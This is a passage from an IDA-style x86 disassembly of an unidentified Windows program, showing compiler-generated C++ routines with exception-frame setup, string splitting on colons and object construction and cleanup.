		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C40	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D89
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D89
		push	esi
		push	edi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D63
		add	ebp, 54h


loc_413CC0:				; CODE XREF: sub_413C40+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CE0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CE2
; ---------------------------------------------------------------------------


loc_413CE0:				; CODE XREF: sub_413C40+95j
		xor	eax, eax


loc_413CE2:				; CODE XREF: sub_413C40+9Ej
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CC0


loc_413D63:				; CODE XREF: sub_413C40+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D89:				; CODE XREF: sub_413C40+26j
					; sub_413C40+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C40	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E30:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E70	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41405E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41405E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41405E
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F57
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F26:				; CODE XREF: sub_413E70+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F4A
		cmp	cl, bl
		jz	short loc_413F46
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F4A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F26


loc_413F46:				; CODE XREF: sub_413E70+C0j
		xor	eax, eax
		jmp	short loc_413F4F
; ---------------------------------------------------------------------------


loc_413F4A:				; CODE XREF: sub_413E70+BCj
					; sub_413E70+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4F:				; CODE XREF: sub_413E70+D8j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413F57:				; CODE XREF: sub_413E70+A1j
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FB3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F82:				; CODE XREF: sub_413E70+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413FA6
		cmp	cl, bl
		jz	short loc_413FA2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413FA6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F82


loc_413FA2:				; CODE XREF: sub_413E70+11Cj
		xor	eax, eax
		jmp	short loc_413FAB
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_413E70+118j
					; sub_413E70+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413FAB:				; CODE XREF: sub_413E70+134j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413FB3:				; CODE XREF: sub_413E70+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FD3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FD5
; ---------------------------------------------------------------------------


loc_413FD3:				; CODE XREF: sub_413E70+158j
		xor	eax, eax


loc_413FD5:				; CODE XREF: sub_413E70+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4140AB
; ---------------------------------------------------------------------------


loc_41405E:				; CODE XREF: sub_413E70+44j
					; sub_413E70+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4140AB:				; CODE XREF: sub_413E70+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414160	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142E0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414300	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_414300	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414343
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414343:				; CODE XREF: ___:00414338j
		xor	eax, eax


loc_414345:				; CODE XREF: ___:00414341j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414430	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414430	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144D0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145A0	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4145A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414650


loc_414605:				; CODE XREF: sub_4145A0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41462D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41462D:				; CODE XREF: sub_4145A0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_414605


loc_414650:				; CODE XREF: sub_4145A0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414698
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414673
		push	1
		call	sub_4019EC


loc_414673:				; CODE XREF: sub_4145A0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414698:				; CODE XREF: sub_4145A0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4145A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414728
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414728:				; CODE XREF: sub_414710+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414740	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414740	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414760:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414829


loc_4147C3:				; CODE XREF: ___:00414827j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C6C ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147F0
		mov	[esp+13h], bl


loc_4147F0:				; CODE XREF: ___:004147EAj
		inc	esi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147C3


loc_414829:				; CODE XREF: ___:004147C1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148A0	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4148A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149D4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41497E


loc_414914:				; CODE XREF: sub_4148A0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41494C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41495B


loc_41494C:				; CODE XREF: sub_4148A0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41495B:				; CODE XREF: sub_4148A0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414914


loc_41497E:				; CODE XREF: sub_4148A0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149D4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4149A1
		push	1
		call	sub_401708


loc_4149A1:				; CODE XREF: sub_4148A0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_4148A0+2Ej
					; sub_4148A0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4148A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A88
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A88:				; CODE XREF: sub_414A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AA0	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414AA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B30:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BC0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
